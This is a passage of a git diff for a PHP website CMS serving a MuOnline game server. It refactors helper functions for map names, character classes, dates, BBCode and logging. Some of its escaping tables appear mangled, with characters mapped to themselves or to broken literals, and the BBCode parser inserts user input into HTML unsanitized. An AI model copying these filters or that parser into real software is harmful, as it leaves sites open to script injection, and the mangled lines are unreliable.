'Kalima 4';} - elseif($map == 28){$map = 'Kalima 5';} - elseif($map == 29){$map = 'Kalima 6';} - elseif($map == 30){$map = 'Valley Of Loren';} - elseif($map == 31){$map = 'Lands Of Trials';} - elseif($map == 32){$map = 'Devil Square';} - elseif($map == 33){$map = 'Aida';} - elseif($map == 34){$map = 'CryWolf';} - elseif($map == 36){$map = 'Kalima 7';} - elseif($map == 37){$map = 'Kantru 1';} - elseif($map == 38){$map = 'Kantru 2';} - elseif($map == 39){$map = 'Kantru 3';} - elseif($map == 40){$map = 'Silent';} - elseif($map == 41){$map = 'Refuge';} - elseif($map == 42){$map = 'Barracks';} - elseif($map == 45){$map = 'Illusion 1';} - elseif($map == 46){$map = 'Illusion 2';} - elseif($map == 47){$map = 'Illusion 3';} - elseif($map == 48){$map = 'Illusion 4';} - elseif($map == 49){$map = 'Illusion 5';} - elseif($map == 50){$map = 'Illusion 6';} - elseif($map == 51){$map = 'Elbeland';} - elseif($map == 52){$map = 'Blood Castle 8';} - elseif($map == 53){$map = 'Chaos Castle 7';} - elseif($map == 56){$map = 'Swamp Of Calmness';} - elseif($map == 57){$map = 'Raklion';} - else{$map = 'Unknow';} - return $map; -} -/////// END Map Formats /////// - - - - - - - -/////// Start PK Status Formats /////// -function pkstatus($pkstatus) { - if($pkstatus == 1){$pkstatus = 'Hero';} - elseif($pkstatus == 2){$pkstatus = 'Commoner';} - elseif($pkstatus == 3){$pkstatus = 'Normal';} - elseif($pkstatus == 4){$pkstatus = 'Outlaw Warning';} - elseif($pkstatus == 5){$pkstatus = '1 Outlaw';} - elseif($pkstatus == 6){$pkstatus = '2 Outlaw';} - else{$pkstatus = 'Unknow';} - return $pkstatus; -} -/////// END PK Status Formats /////// - - - - - - -/////// Start Guild Status Formats /////// -function guild_status($num) { -if($num == 0){$num = mmw_lang_guild_member;} - elseif($num == 32){$num = mmw_lang_battle_master;} - elseif($num == 64){$num = mmw_lang_assistant_guild_master;} - elseif($num == 128){$num = mmw_lang_guild_master;} - else{$num = 'Unknow';} - return $num; -} -/////// END Guild Status Formats /////// - - - - - - -/////// Start CtlCode Formats /////// -function CtlCode($num) { - if($num == 0) {$result = 'Member';} - elseif($num == 1) {$result = 'Blocked';} - elseif($num == 8 || $num == 32) {$result = 'Game Master';} - else {$result = 'Unknow';} - return $result; -} -/////// END CtlCode Formats /////// - - - - - - -/////// Start Gender Formats /////// -function gender($gender) { - if($gender == 'male'){$gender = mmw_lang_male.' ';} - elseif($gender == 'female'){$gender = mmw_lang_female.' ';} - else{$gender = 'Unknow';} - return $gender; -} -/////// END Gender Formats /////// - - - - - - - -/////// Start Class Formats /////// -function char_class($class,$style=NULL) { - if(empty($style)) {$style = 'off';} - - if($class == 0){$class_row1 = array('off'=>'DW','full'=>'Dark Wizard');} - elseif($class == 1){$class_row1 = array('off'=>'SM','full'=>'Soul Master');} - elseif($class == 2 || $class == 3){$class_row1 = array('off'=>'GrM','full'=>'Grand Master');} - elseif($class == 16){$class_row1 = array('off'=>'DK','full'=>'Dark Knight');} - elseif($class == 17){$class_row1 = array('off'=>'BK','full'=>'Blade Knight');} - elseif($class == 18 || $class == 19){$class_row1 = array('off'=>'BM','full'=>'Blade Master');} - elseif($class == 32){$class_row1 = array('off'=>'Elf','full'=>'Fairy Elf');} - elseif($class == 33){$class_row1 = array('off'=>'ME','full'=>'Muse Elf');} - elseif($class == 34 || $class == 35){$class_row1 = array('off'=>'HE','full'=>'High Elf');} - elseif($class == 48){$class_row1 = array('off'=>'MG','full'=>'Magic Gladiator');} - elseif($class == 49 || $class == 50){$class_row1 = array('off'=>'DM','full'=>'Duel Master');} - elseif($class == 64){$class_row1 = array('off'=>'DL','full'=>'Dark Lord');} - elseif($class == 65 || $class == 66){$class_row1 = array('off'=>'LE','full'=>'Lord Emperor');} - elseif($class == 80){$class_row1 = array('off'=>'Sum','full'=>'Summoner');} - elseif($class == 81){$class_row1 = array('off'=>'Bsum','full'=>'Bloody Summoner');} - elseif($class == 82 || $class == 83){$class_row1 = array('off'=>'Dim','full'=>'Dimension Master');} - else{$class_row1 = array('off'=>'Unknow','full'=>'Unknow');} - - if($class >= 0 && $class <= 15){$class_row2 = array('img'=>'char/dw.gif','photo'=>'0x00FFFFFFFFFF000000F80000F0FFFFFF');} - elseif($class >= 16 && $class <= 31){$class_row2 = array('img'=>'char/dk.gif','photo'=>'0x20FFFFFFFFFF000000F80000F0FFFFFF');} - elseif($class >= 32 && $class <= 47){$class_row2 = array('img'=>'char/ef.gif','photo'=>'0x40FFFFFFFFFF000000F80000F0FFFFFF');} - elseif($class >= 48 && $class <= 63){$class_row2 = array('img'=>'char/mg.gif','photo'=>'0x60FFFFFFFFFF000000F80000F0FFFFFF');} - elseif($class >= 64 && $class <= 79){$class_row2 = array('img'=>'char/dl.gif','photo'=>'0x80FFFFFFFFFF000000F80000F0FFFFFF');} - elseif($class >= 80 && $class <= 95){$class_row2 = array('img'=>'char/sm.gif','photo'=>'0xA0FFFFFFFFFF000000F80000F0FFFFFF');} - else{$class_row2 = array('img'=>'Unknow','photo'=>'0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF');} - - return $class_row1[$style].$class_row2[$style]; -} -/////// END Class Formats /////// - - - - - - - -/////// Start Win to UTF Formats /////// -function win_to_utf($s) { - $s = str_replace('','',$s); - for($i=0, $m=strlen($s); $i<$m; $i++) { - $c=ord($s[$i]); - if($c<=127) {$t.=chr($c); continue;} - if($c>=192 && $c<=207) {$t.=chr(208).chr($c-48); continue;} - if($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue;} - if($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue;} - if($c==184) {$t.=chr(209).chr(209); continue;}; - if($c==168) {$t.=chr(208).chr(129); continue;}; - } - return $t; -} -/////// END Win to UTF Formats /////// - - - - - - - -/////// Start UTF to Win Formats /////// -function utf_to_win($str) { - $str_array = array(win_to_utf('a')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'', - win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'', - win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'', - win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'', - win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'', - win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'', - win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'', - win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'', - win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'', - win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'', - win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'', - win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'', - win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>'', - win_to_utf('')=>'',win_to_utf('')=>'',win_to_utf('')=>''); - $str = strtr($str,$str_array); - return $str; -} -/////// END UTF to Win Formats /////// -?> \ No newline at end of file diff --git a/includes/forum_catalog.php b/includes/forum_catalog.php index efde96f..910bc0c 100644 --- a/includes/forum_catalog.php +++ b/includes/forum_catalog.php @@ -1,7 +1,6 @@ - array('News','News Forum and more. Read necessarily!',1), - 2 => array('Help and Advice','Help or advice with mu or something with it. ',0), - 3 => array('Sympathy Boxing, Flood','All that is not associated with MuOnline.',0), -); -?> \ No newline at end of file + array('News', 'News Forum and more. Read necessarily!', 1), + 2 => array('Help and Advice', 'Help or advice with mu or something with it. ', 0), + 3 => array('Sympathy Boxing, Flood', 'All that is not associated with MuOnline.', 0) +); \ No newline at end of file diff --git a/includes/func/img_resize.php b/includes/func/img_resize.php deleted file mode 100644 index f2c2f37..0000000 --- a/includes/func/img_resize.php +++ /dev/null @@ -1,38 +0,0 @@ - \ No newline at end of file diff --git a/includes/functions.php b/includes/functions.php new file mode 100644 index 0000000..7bc0cf7 --- /dev/null +++ b/includes/functions.php @@ -0,0 +1,1113 @@ + '*', + '%' => '%', + '\'' => ''', + ',' => ',', + '`' => '`', + //';' => ';', + //'.' => '.', + //':' => ':', + ); + return str_replace(array_keys($filter), array_values($filter), stripslashes($var)); +} + +/////// End Clean Var /////// + + +/////// Start Write Logs /////// +function writelog($logFile, $text) +{ + $dir = __DIR__ . '/../logs/'; + $row = $text . ', All Those On ' . date('d.m.Y H:i:s') . ' By ' . $_SERVER['REMOTE_ADDR'] . '' . PHP_EOL; + + $fp = fopen($dir . $logFile . '.php', 'a'); + fputs($fp, $row); + fclose($fp); +} + +/////// End Write Logs /////// + + +/////// Start Jump Link /////// +function jump($url) +{ + @header('Location: ' . $url); + die(''); +} + +/////// End Jump Link /////// + + +/////// Start MMW /////// +if (!function_exists('mmw')) { + /** + * ## Accepts files with .mmw extension only + * ![Example](http://mmw.clan.su/_fr/18/1415799.png) + * @see http://mymuweb.ru/forum/10-1882-1 + * @param string $patch + * @return void + */ + function mmw($patch) + { + // do something here + } +} +/////// End MMW /////// + + +/////// Start Time Format /////// +function time_format($date, $format = 'd.m.Y H:i') +{ + // Support SQL 2000(Rus) and 2005 + $formattedTime = 'd M Y, T'; + $date_row = explode(' ', $date); + + if (preg_match('/^(\d{4})-(\d{2})-(\d{2})$/', $date_row[0], $matches) && $matches) { + $unixTimestamp = strtotime($date); + return ($format !== null) + ? date($format, $unixTimestamp) + : $unixTimestamp; + } elseif (preg_match('/^\d+$/', $date_row[1], $matches) && $matches) { + $day = $date_row[0]; + $month = $date_row[1]; + $year = $date_row[2]; + $time = empty($date_row[4]) + ? $date_row[3] + : $date_row[4]; + + switch ($month) { + case 'янв': + $month = 'Jan'; + case 'фев': + $month = 'Feb'; + break; + case 'мар': + $month = 'Mar'; + break; + case 'апр': + $month = 'Apr'; + break; + case 'май': + $month = 'May'; + break; + case 'июн': + $month = 'Jun'; + break; + case 'июл': + $month = 'Jul'; + break; + case 'авг': + $month = 'Aug'; + break; + case 'сен': + $month = 'Sep'; + break; + case 'окт': + $month = 'Oct'; + break; + case 'ноя': + $month = 'Nov'; + break; + case 'дек': + $month = 'Dec'; + break; + } + } else { + $day = $date_row[1]; + $month = $date_row[0]; + $year = $date_row[2]; + $time = $date_row[4]; + } + + $formattedTime = str_replace( + array('d', 'M', 'Y', 'T'), + array($day, $month, $year, $time), + $formattedTime + ); + + return ($format === null) + ? strtotime($formattedTime) + : date($format, strtotime($formattedTime)); +} + +/////// End Time Format /////// + + +/////// Start Date Formats /////// +function date_formats($sTime, $eTime, $format = 'short') +{ + $diff = is_numeric($sTime) + ? $eTime - $sTime + : $eTime - strtotime($sTime); + + $seconds = 0; + $hours = 0; + $minutes = 0; + + // there are 86,400 seconds in a day + if ($diff % 86400 <= 0) { + $days = $diff / 86400; + } + + if ($diff % 86400 > 0) { + $rest = ($diff % 86400); + $days = ($diff - $rest) / 86400; + + if ($rest % 3600 > 0) { + $rest1 = ($rest % 3600); + $hours = ($rest - $rest1) / 3600; + if ($rest1 % 60 > 0) { + $rest2 = ($rest1 % 60); + $minutes = ($rest1 - $rest2) / 60; + $seconds = $rest2; + } else { + $minutes = $rest1 / 60; + } + } else { + $hours = $rest / 3600; + } + } + + return ($format === 'long') + ? ($days ? $days . ' days ' : '') . ($hours ? $hours . ' hours ' : '') . $minutes . ' minutes ' + : ($days ? $days . ' days ' : '') . ($hours ? $hours . 'h ' : '') . $minutes . 'm ' . $seconds . 's'; +} + +/////// END Date Formats /////// + + +/////// Start Week 2 String /////// +function week2str($num) +{ + switch ($num[1]) { + case 0: + return mmw_lang_week_mon; + case 1: + return mmw_lang_week_tue; + case 2: + return mmw_lang_week_wed; + case 3: + return mmw_lang_week_thu; + case 4: + return mmw_lang_week_fri; + case 5: + return mmw_lang_week_sat; + default: + return mmw_lang_week_sun; + } +} + +/////// END Week 2 String /////// + + +/////// Start Now Module ////// +function current_module() +{ + if (isset($_GET['op'])) { + $currentModule = preg_replace('/[^\w_-]/', '', $_GET['op']); + } else { + global $mmw; + $splitFileName = explode('.', $mmw['home_page']); + $currentModule = reset($splitFileName); + } + + if (isset($_GET['news'])) { + echo '> ' . mmw_lang_news . ''; + } elseif (isset($_GET['forum'])) { + echo '> ' . mmw_lang_forum . ''; + } else { + $label = defined('mmw_lang_' . $currentModule) + ? constant('mmw_lang_' . $currentModule) + : ucfirst($currentModule); + echo '> ' . $label . ''; + } + + if ($currentModule === 'user') { + if (isset($_GET['u'])) { + $currentUserModule = $_GET['u']; + $userLabel = defined('mmw_lang_' . $currentUserModule) + ? constant('mmw_lang_' . $currentUserModule) + : ucfirst($currentUserModule); + + echo ' > ' . $userLabel . ''; + } else { + echo ' > ' . mmw_lang_account_panel . ''; + } + } +} + +/** @deprecated Use current_module() */ +function curent_module() +{ + current_module(); +} + +/////// End Now Module /////// + + +/////// Start Default IMG ////// +function default_img($src) +{ + global $mmw; + return is_file($mmw['theme_img'] . '/' . $src) + ? $mmw['theme_img'] . '/' . $src + : 'images/' . $src; +} + +/////// End Default IMG /////// + + +/////// Start BBCode Formats /////// +function bbcode($text) +{ + global $flash_body_size; + if (empty($flash_body_size)) { + $flash_body_size = 426; + } + $aspectRatioHeight = round($flash_body_size * 9 / 16); + + $bbCode = array( + '/\[br\]/is' => '
', + '/\[hr\]/is' => '
', + '/\[b\](.*?)\[\/b\]/is' => '$1', + '/\[i\](.*?)\[\/i\]/is' => '$1', + '/\[u\](.*?)\[\/u\]/is' => '$1', + '/\[s\](.*?)\[\/s\]/is' => '$1', + '/\[o\](.*?)\[\/o\]/is' => '$1', + '/\[c\](.*?)\[\/c\]/is' => '
$1
', + '/\[l\](.*?)\[\/l\]/is' => '
$1
', + '/\[r\](.*?)\[\/r\]/is' => '
$1
', + '/\[center\](.*?)\[\/center\]/is' => '
$1
', + '/\[left\](.*?)\[\/left\]/is' => '
$1
', + '/\[right\](.*?)\[\/right\]/is' => '
$1
', + '/\[sup\](.*?)\[\/sup\]/is' => '$1', + '/\[sub\](.*?)\[\/sub\]/is' => '$1', + '/\[img\](.*?)\[\/img\]/is' => 'img', + '/\[color\=(.*?)\](.*?)\[\/color\]/is' => '$2', + '/\[font\=(.*?)\](.*?)\[\/font\]/is' => '$2', + '/\[size\=(.*?)\](.*?)\[\/size\]/is' => '$2', + '/\[url\=(.*?)\](.*?)\[\/url\]/is' => '$2', + '/\[video\].*youtube.com\/watch[^=]+=(.*?)\[\/video\]/is' => '', + ); + return preg_replace(array_keys($bbCode), array_values($bbCode), $text); +} + +/////// END BBCode Formats /////// + + +/////// Start Smile Formats /////// +function emojiList($smallList = false) +{ + static $smiles = array( + ' >( ' => ' angry ', + ' :D ' => ' biggrin ', + ' B) ' => ' cool ', + ' ;( ' => ' cry ', + ' <_< ' => ' dry ', + ' ^_^ ' => ' happy ', + ' :( ' => ' sad ', + ' :) ' => ' smile ', + ' :o ' => ' surprised ', + ' :p ' => ' tongue ', + ' %) ' => ' wacko ', + ' ;) ' => ' wink ', + ' (hello) ' => ' hello ', + ' (boo) ' => ' boo ', + ' (bb) ' => ' bodybuilding ', + ); + return $smallList + ? array_slice($smiles, 0, 12) + : $smiles; +} +function smile($content = '') +{ + $smiles = emojiList(); + + // Special Characters in HTML + $content = str_replace( + array( + ' >( ', + ' <_< ', + ' %) ', + ), + array( + $smiles[' >( '], + $smiles[' <_< '], + $smiles[' %) '], + ), + $content + ); + return str_replace(array_keys($smiles), array_values($smiles), $content); +} + +/////// END Smile Formats /////// + + +/////// Start BugText Formats /////// +function bugsend($bug) +{ + $bug = str_replace('<', '<', $bug); + $bug = str_replace('>', '>', $bug); + //$bug = str_replace('&','&',$bug); + $bug = str_replace('"', '"', $bug); + //$bug = str_replace('/','/',$bug); + $bug = str_replace('?', '?', $bug); + //$bug = str_replace('—','—',$bug); + $bug = str_replace('\'', ''', $bug); + $bug = str_replace('!', '!', $bug); + $bug = str_replace('$', '$', $bug); + $bug = str_replace('%', '%', $bug); + $bug = str_replace('*', '*', $bug); + $bug = str_replace('+', '+', $bug); + $bug = str_replace("\n", '[br]', $bug); + $bug = str_replace("\r", ' ', $bug); + $bug = str_replace(chr(hexdec('5c')), '\', $bug); + return $bug; +} + +/////// END BugText Formats /////// + + +/////// Start Zen Formats /////// +function zen_format($money, $format = null) +{ + if (in_array($format, array('small', 'k'))) { + preg_match('/0+$/', $money, $match); + if (!empty($match[0])) { + $k = floor(strlen($match[0]) / 3); + $money = substr($money, 0, -3 * $k) . str_repeat('k', $k); + } + } else { + $money = number_format($money); + } + return $money; +} + +/////// END Zen Formats /////// + + +/////// Start Img resize /////// +function img_resize($imgSrc, $sizeW, $sizeH, $saveDir, $saveName) +{ + $saveDir .= (substr($saveDir, -1) != '/') ? '/' : ''; + $gis = getimagesize($imgSrc); + $type = $gis[2]; + switch ($type) { + case 1: + $imOrig = imagecreatefromgif($imgSrc); + break; + case 3: + $imOrig = imagecreatefrompng($imgSrc); + break; + default: + $imOrig = imagecreatefromjpeg($imgSrc); + } + + $width = imagesx($imOrig); + $height = imagesy($imOrig); + if ($gis[0] <= $sizeW && $gis[1] <= $sizeH) { + if (is_file($saveDir . $saveName)) { + unlink($saveDir . $saveName); + } + rename($imgSrc, $saveDir . $saveName); + return true; + } + + // длина исходной картинки + $editedWidth = $sizeW; + $newHeight = $height * $sizeW / $width; + // высота исходной картинки + if ($sizeH < $newHeight) { + $editedHeight = $sizeH; + $editedWidth = $sizeW * $sizeH / $newHeight; + } else { + $editedHeight = $newHeight; + } + + $im = imagecreatetruecolor($editedWidth, $editedHeight); + if (imagecopyresampled($im, $imOrig, 0, 0, 0, 0, $editedWidth, $editedHeight, $width, $height)) { + return imagejpeg($im, $saveDir . $saveName); + } + return false; +} + +/////// END Img resize /////// + + +/////// Start Points Formats /////// +function point_format($string = null) +{ + if ($string < 0) { + $string = 32768 + (32768 + $string); + } + return $string; +} + +/////// END Points Formats /////// + + +/////// Start Country Formats /////// +function country($country, $getList = false) +{ + $countries = array( + 1 => 'Albania', + 2 => 'Algeria', + 3 => 'Angola', + 4 => 'Argentina', + 5 => 'Armenia', + 6 => 'Australia', + 7 => 'Austria', + 8 => 'Azerbaijan', + 9 => 'Bahamas', + 10 => 'Bahrain', + 11 => 'Bangladesh', + 12 => 'Belarus', + 13 => 'Belgium', + 14 => 'Bolivia', + 15 => 'Botswana', + 16 => 'Brazil', + 17 => 'Brunei', + 18 => 'Bulgaria', + 19 => 'Burkina Faso', + 20 => 'Cameroon', + 21 => 'Canada', + 22 => 'Chile', + 23 => 'China', + 24 => 'Colombia', + 25 => 'Congo (Brazzaville)', + 26 => 'Congo DR', + 27 => 'Costa Rica', + 28 => 'Cote dIvoire', + 29 => 'Croatia', + 30 => 'Cuba', + 31 => 'Czech Republic', + 32 => 'Denmark', + 33 => 'Dominican Republic', + 34 => 'Ecuador', + 35 => 'Egypt', + 36 => 'El Salvador', + 37 => 'Estonia', + 38 => 'Ethiopia', + 39 => 'Finland', + 40 => 'France', + 41 => 'Gabon', + 42 => 'Gambia', + 43 => 'Germany', + 44 => 'Greece', + 45 => 'Guatemala', + 46 => 'Guinea', + 47 => 'Guinea-Bissau', + 48 => 'Guyana', + 49 => 'Haiti', + 50 => 'Honduras', + 51 => 'Hong Kong', + 52 => 'Hungary', + 53 => 'Iceland', + 54 => 'India', + 55 => 'Indonesia', + 56 => 'Iran', + 57 => 'Iraq', + 58 => 'Ireland', + 59 => 'Israel', + 60 => 'Italy', + 61 => 'Jamaica', + 62 => 'Japan', + 63 => 'Jordan', + 64 => 'Kazakstan', + 65 => 'Kenya', + 66 => 'Korea', + 67 => 'Korea, South', + 68 => 'Kuwait', + 69 => 'Latvia', + 70 => 'Lebanon', + 71 => 'Liberia', + 72 => 'Libya', + 73 => 'Lithuania', + 74 => 'Luxembourg', + 75 => 'Madagascar', + 76 => 'Malawi', + 77 => 'Malaysia', + 78 => 'Mali', + 79 => 'Malta', + 80 => 'Mexico', + 81 => 'Moldova', + 82 => 'Mongolia', + 83 => 'Morocco', + 84 => 'Mozambique', + 85 => 'Myanmar (Burma)', + 86 => 'Namibia', + 87 => 'Netherlands', + 88 => 'New Zealand', + 89 => 'Nicaragua', + 90 => 'Niger', + 91 => 'Nigeria', + 92 => 'Norway', + 93 => 'Oman', + 94 => 'Pakistan', + 95 => 'Panama', + 96 => 'Papua New Guinea', + 97 => 'Paraguay', + 98 => 'Peru', + 99 => 'Philippines', + 100 => 'Poland', + 101 => 'Portugal', + 102 => 'Qatar', + 103 => 'Romania', + 104 => 'Russia', + 105 => 'Saudi Arabia', + 106 => 'Senegal', + 107 => 'Serbia', + 108 => 'Sierra Leone', + 109 => 'Singapore', + 110 => 'Slovakia', + 111 => 'Slovenia', + 112 => 'Somalia', + 113 => 'South Africa', + 114 => 'Spain', + 115 => 'Sri Lanka', + 116 => 'Sudan', + 117 => 'Suriname', + 118 => 'Sweden', + 119 => 'Switzerland', + 120 => 'Syria', + 121 => 'Taiwan', + 122 => 'Tanzania', + 123 => 'Thailand', + 124 => 'Togo', + 125 => 'Trinidad', + 126 => 'Tunisia', + 127 => 'Turkey', + 128 => 'Uganda', + 129 => 'Ukraine', + 130 => 'United Arab Emirates', + 131 => 'United Kingdom', + 132 => 'United States', + 133 => 'Uruguay', + 134 => 'Venezuela', + 135 => 'Vietnam', + 136 => 'Yemen', + 137 => 'Zambia', + 138 => 'Zimbabwe' + ); + if ($getList) { + return $countries; + } + return isset($countries[$country]) + ? $countries[$country] + : 'unknown'; +} + +/////// END Country Formats /////// + + +/////// Start Map Formats /////// +function map($map, $getList = false) +{ + $locations = array( + 0 => 'Lorencia', + 1 => 'Dungeon', + 2 => 'Devias', + 3 => 'Noria', + 4 => 'LostTower', + 5 => 'PlaceOfExil', + 6 => 'Arena', + 7 => 'Atlans', + 8 => 'Tarkan', + 9 => 'Devil Square', + 10 => 'Icarus', + 11 => 'Blood Castle 1', + 12 => 'Blood Castle 2', + 13 => 'Blood Castle 3', + 14 => 'Blood Castle 4', + 15 => 'Blood Castle 5', + 16 => 'Blood Castle 6', + 17 => 'Blood Castle 7', + 18 => 'Chaos Castle 1', + 19 => 'Chaos Castle 2', + 20 => 'Chaos Castle 3', + 21 => 'Chaos Castle 4', + 22 => 'Chaos Castle 5', + 23 => 'Chaos Castle 6', + 24 => 'Kalima 1', + 25 => 'Kalima 2', + 26 => 'Kalima 3', + 27 => 'Kalima 4', + 28 => 'Kalima 5', + 29 => 'Kalima 6', + 30 => 'Valley Of Loren', + 31 => 'Lands Of Trials', + 32 => 'Devil Square', + 33 => 'Aida', + 34 => 'Crywolf Fortress', + 36 => 'Kalima 7', + 37 => 'Kanturu', + 38 => 'Kanturu 2', + 39 => 'Kanturu 3', + 40 => 'Silent', + 41 => 'Refuge', + 42 => 'Barracks', + 45 => 'Ilusion Temple 1', + 46 => 'Ilusion Temple 2', + 47 => 'Ilusion Temple 3', + 48 => 'Ilusion Temple 4', + 49 => 'Ilusion Temple 5', + 50 => 'Ilusion Temple 6', + 51 => 'Elbeland', + 52 => 'Blood Castle 8', + 53 => 'Chaos Castle 7', + 56 => 'Swamp of Calmness', + 57 => 'Raklion', + 58 => 'Raklion Boss', + 62 => 'Santa\'s Village', + 63 => 'Vulcanus', + 64 => 'Duel Arena', + 65 => 'Doppelganger', + 66 => 'Doppelganger', + 67 => 'Doppelganger', + 68 => 'Doppelganger', + 69 => 'Imperial Guardian', + 70 => 'Imperial Guardian', + 71 => 'Imperial Guardian', + 72 => 'Imperial Guardian', + 79 => 'Loren Market', + 80 => 'Karutan 1', + 81 => 'Karutan 2', + 82 => 'Doppelganger', + 91 => 'Acheron', + 92 => 'Acheron', + 95 => 'Debenter', + 96 => 'Debenter', + 97 => 'Chaos Castle', + 98 => 'Ilusion Temple 7', + 99 => 'Ilusion Temple 8', + 100 => 'Uruk Mountain', + 101 => 'Uruk Mountain', + 102 => 'Tormented Square', + 103 => 'Tormented Square', + 104 => 'Tormented Square', + 105 => 'Tormented Square', + 106 => 'Tormented Square', + 110 => 'Nars', + 112 => 'Ferea', + 113 => 'Nixie Lake', + 114 => 'Quest Zone', + 115 => 'Labyrinth', + 116 => 'Deep Dungeon', + 117 => 'Deep Dungeon', + 118 => 'Deep Dungeon', + 119 => 'Deep Dungeon', + 120 => 'Deep Dungeon', + 121 => 'Quest Zone', + 122 => 'Swamp of Darkness', + 123 => 'Kubera Mine', + 124 => 'Kubera Mine', + 125 => 'Kubera Mine', + 126 => 'Kubera Mine', + 127 => 'Kubera Mine', + 128 => 'Atlans Abyss', + 129 => 'Atlans Abyss 2', + 130 => 'Atlans Abyss 3', + 131 => 'Scorched Canyon', + 132 => 'Crimson Flame Icarus', + 133 => 'Temple of Arnil', + 134 => 'Aida Gray', + 135 => 'Old Kethotum', + 136 => 'Burning Kethotum', + ); + if ($getList) { + return $locations; + } + return isset($locations[$map]) + ? $locations[$map] + : 'unknown'; +} + +/////// END Map Formats /////// + + +/////// Start PK Status Formats /////// +function pkstatus($pkStatus) +{ + switch ($pkStatus) { + case 0: + return 'Normal'; + case 1: + case 2: + return 'Hero'; + case 3: + return 'Commoner'; + case 4: + return 'Warning'; + case 5: + return 'Murder'; + case 6: + return 'Outlaw'; + default: + return 'unknown'; + } +} + +/////// END PK Status Formats /////// + + +/////// Start Guild Status Formats /////// +function guild_status($num) +{ + switch ($num) { + case 0: + return mmw_lang_guild_member; + case 32: + return mmw_lang_battle_master; + case 64: + return mmw_lang_assistant_guild_master; + case 128: + return mmw_lang_guild_master; + default: + return 'unknown'; + } +} + +/////// END Guild Status Formats /////// + + +/////// Start CtlCode Formats /////// +function ctlCode($num) +{ + switch ($num) { + case 0: + return 'Normal'; + case 1: + return 'Blocked'; + case 8: + return 'GM Invisible'; + case 32: + return 'Game Master'; + default: + return 'unknown'; + } +} + +/////// END CtlCode Formats /////// + + +/////// Start Gender Formats /////// +function gender($gender) +{ + switch ($gender) { + case 'male': + return mmw_lang_male . ' male'; + case 'female': + return mmw_lang_female . ' female'; + default: + return 'unknown'; + } +} + +/////// END Gender Formats /////// + + +/////// Start Class Formats /////// +function char_class($class, $style = 'off') +{ + /** + * ### Season 6: + * level1: 0 + * level2: +1 [skip: MG/DL/RF] + * level3: +2 [include: DM/LE/FM] + */ + static $groupedClasses = array( + 0 => array('group' => 'dw', 'img' => 'char/DW.gif', 'photo' => '0x00FFFFFFFFFF000000F80000F0FFFFFF'), + 1 => array('group' => 'dk', 'img' => 'char/DK.gif', 'photo' => '0x20FFFFFFFFFF000000F80000F0FFFFFF'), + 2 => array('group' => 'fe', 'img' => 'char/EF.gif', 'photo' => '0x40FFFFFFFFFF000000F80000F0FFFFFF'), + 3 => array('group' => 'mg', 'img' => 'char/MG.gif', 'photo' => '0x60FFFFFFFFFF000000F80000F0FFFFFF'), + 4 => array('group' => 'dl', 'img' => 'char/DL.gif', 'photo' => '0x80FFFFFFFFFF000000F80000F0FFFFFF'), + 5 => array('group' => 'sm', 'img' => 'char/SM.gif', 'photo' => '0xA0FFFFFFFFFF000000F80000F0FFFFFF'), + 6 => array('group' => 'rf', 'img' => 'char/RF.gif', 'photo' => '0xC0FFFFFFFFFF000000F80000F0FFFFFF'), + 7 => array('group' => 'gl', 'img' => 'char/.gif', 'photo' => '0xE0FFFFFFFFFF000000F80000F0FFFFFF'), + 8 => array('group' => 'rw', 'img' => 'char/.gif', 'photo' => '0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'), + 9 => array('group' => 'sl', 'img' => 'char/.gif', 'photo' => '0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'), + 10 => array('group' => 'gc', 'img' => 'char/.gif', 'photo' => '0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'), + 11 => array('group' => 'lw', 'img' => 'char/.gif', 'photo' => '0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'), + 12 => array('group' => 'lm', 'img' => 'char/.gif', 'photo' => '0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'), + 13 => array('group' => 'ik', 'img' => 'char/.gif', 'photo' => '0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'), + ); + + $class = intval($class); + $group = intval($class / 16); + + switch (true) { + case ($class === 0): + $result = array('off' => 'DW', 'full' => 'Dark Wizard', 'level' => 1); + break; + case ($class === 1): + $result = array('off' => 'SM', 'full' => 'Soul Master', 'level' => 2); + break; + case ($class === 2 || $class === 3): + $result = array('off' => 'GrM', 'full' => 'Grand Master', 'level' => 3); + break; + case ($class === 7): + $result = array('off' => 'SW', 'full' => 'Soul Wizard', 'level' => 4); + break; + + case ($class === 16): + $result = array('off' => 'DK', 'full' => 'Dark Knight', 'level' => 1); + break; + case ($class === 17): + $result = array('off' => 'BK', 'full' => 'Blade Knight', 'level' => 2); + break; + case ($class === 18 || $class === 19): + $result = array('off' => 'BM', 'full' => 'Blade Master', 'level' => 3); + break; + case ($class === 23): + $result = array('off' => 'DrK', 'full' => 'Dragon Knight', 'level' => 4); + break; + + case ($class === 32): + $result = array('off' => 'FE', 'full' => 'Fairy Elf', 'level' => 1); + break; + case ($class === 33): + $result = array('off' => 'ME', 'full' 